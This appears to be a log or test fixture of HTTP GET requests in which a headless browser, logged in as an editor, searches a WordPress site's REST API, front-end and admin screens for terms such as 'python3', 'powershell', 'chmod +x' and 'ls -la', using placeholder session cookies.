{"method": "GET", "target": "/wp-json/wp/v2/posts?search=python3&per_page=20&context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/search?search=powershell&per_page=20&type=post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?search=powershell&per_page=20&context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/search?search=sudo%20apt%20install%20nginx&per_page=20&type=post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?search=sudo%20apt%20install%20nginx&per_page=20&context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/search?search=chmod%20%2Bx&per_page=20&type=post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?search=chmod%20%2Bx&per_page=20&context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/search?search=ls%20-la&per_page=20&type=post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?search=ls%20-la&per_page=20&context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""}
{"method": "GET", "target": "/wp-login.php?loggedout=true&wp_lang=en_US", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": ""}
{"method": "GET", "target": "/page/2/?s=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/page/2/?s=ls+-la", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?s=ls+-la", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/page/2/?s=powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?s=powershell", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/index.php/page/2/?s=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/index.php/?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209938"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter=&s=hello&_wpnonce=c7d3be7361&_wp_http_referer=%2Fwp-admin%2Fupload.php%3Fmode%3Dlist%26attachment-filter%26s%3Dpython3%26action%3D-1%26affected%26_ajax_nonce%3Dac194defea%26ps&action=-1&affected=&_ajax_nonce=ac194defea&ps=", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list&attachment-filter&s=python3&action=-1&affected&_ajax_nonce=ac194defea&ps", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209922"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?s=hello&post_status=all&post_type=post&_wpnonce=845fd30495&_wp_http_referer=%2Fwp-admin%2Fedit.php%3Fs%3Dpowershell%26post_status%3Dall%26post_type%3Dpost%26action%3D-1%26m%3D0%26cat%3D0%26paged%3D1%26action2%3D-1&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=powershell&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209923"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?s=hello&post_status=all&post_type=post&_wpnonce=845fd30495&_wp_http_referer=%2Fwp-admin%2Fedit.php%3Fs%3Dls%2B-la%26post_status%3Dall%26post_type%3Dpost%26action%3D-1%26m%3D0%26cat%3D0%26paged%3D1%26action2%3D-1&action=-1&m=0&cat=0", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=ls+-la&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209924"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?s=hello&post_status=all&post_type=post&_wpnonce=845fd30495&_wp_http_referer=%2Fwp-admin%2Fedit.php%3Fs%3D.htaccess%26post_status%3Dall%26post_type%3Dpost%26action%3D-1%26m%3D0%26cat%3D0%26paged%3D1%26action2%3D-1&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=.htaccess&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209925"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-comments.php?s=hello&comment_status=all&pagegen_timestamp=2026-11-09+07%3A38%3A46&_total=0&_per_page=20&_page=1&paged=1&_ajax_fetch_list_nonce=0b1db04b0a&_wp_http_referer=%2Fwp-admin%2Fedit-comments.php%3Fs%3Dpython3%26comment_status%3Dall%26pagegen_timestamp%3D2026-11-09%2B07%253A38%253A46%26_total%3D1%26_per_page%3D20%26_page%3D1%26_ajax_fetch_list_nonce%3D0b1db04b0a%26action%3D-1%26comment_type%26paged%3D1%26action2%3D-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-comments.php?s=python3&comment_status=all&pagegen_timestamp=2026-11-09+07%3A38%3A46&_total=1&_per_page=20&_page=1&_ajax_fetch_list_nonce=0b1db04b0a&action=-1&comment_type&paged=1&action2=-1", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209926"], "body": ""}
{"method": "GET", "target": "/wp-admin/users.php?s=hello&_wpnonce=63da9c4bb8&_wp_http_referer=%2Fwp-admin%2Fusers.php%3Fs%3Dpython3%26action%3D-1%26new_role%26paged%3D1%26action2%3D-1%26new_role2&action=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php?s=python3&action=-1&new_role&paged=1&action2=-1&new_role2", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209927"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-comments.php?s=python3&comment_status=all&pagegen_timestamp=2026-11-09+07%3A38%3A46&_total=1&_per_page=20&_page=1&_ajax_fetch_list_nonce=0b1db04b0a&_wp_http_referer=%2Fwp-admin%2Fedit-comments.php&_wpnonce=21dd43bdf4&_wp_http_referer=%2Fwp-admin%2Fedit-comments.php&action=-1&comment_type=&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209926"], "body": ""}
{"method": "GET", "target": "/wp-admin/users.php?s=python3&_wpnonce=63da9c4bb8&_wp_http_referer=%2Fwp-admin%2Fusers.php&action=-1&new_role=&paged=1&action2=-1&new_role2=", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209927"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php?s=python3&plugin_status=all", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209929"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-tags.php?taxonomy=post_tag&post_type=post&s=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209928"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php?search=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209929"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-install.php?search=python3&browse=popular", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209929"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?search=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209929"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=ajax-tag-search&tax=post_tag&q=python3&number=20", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: */*", "X-Requested-With: XMLHttpRequest", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209930"], "body": ""}
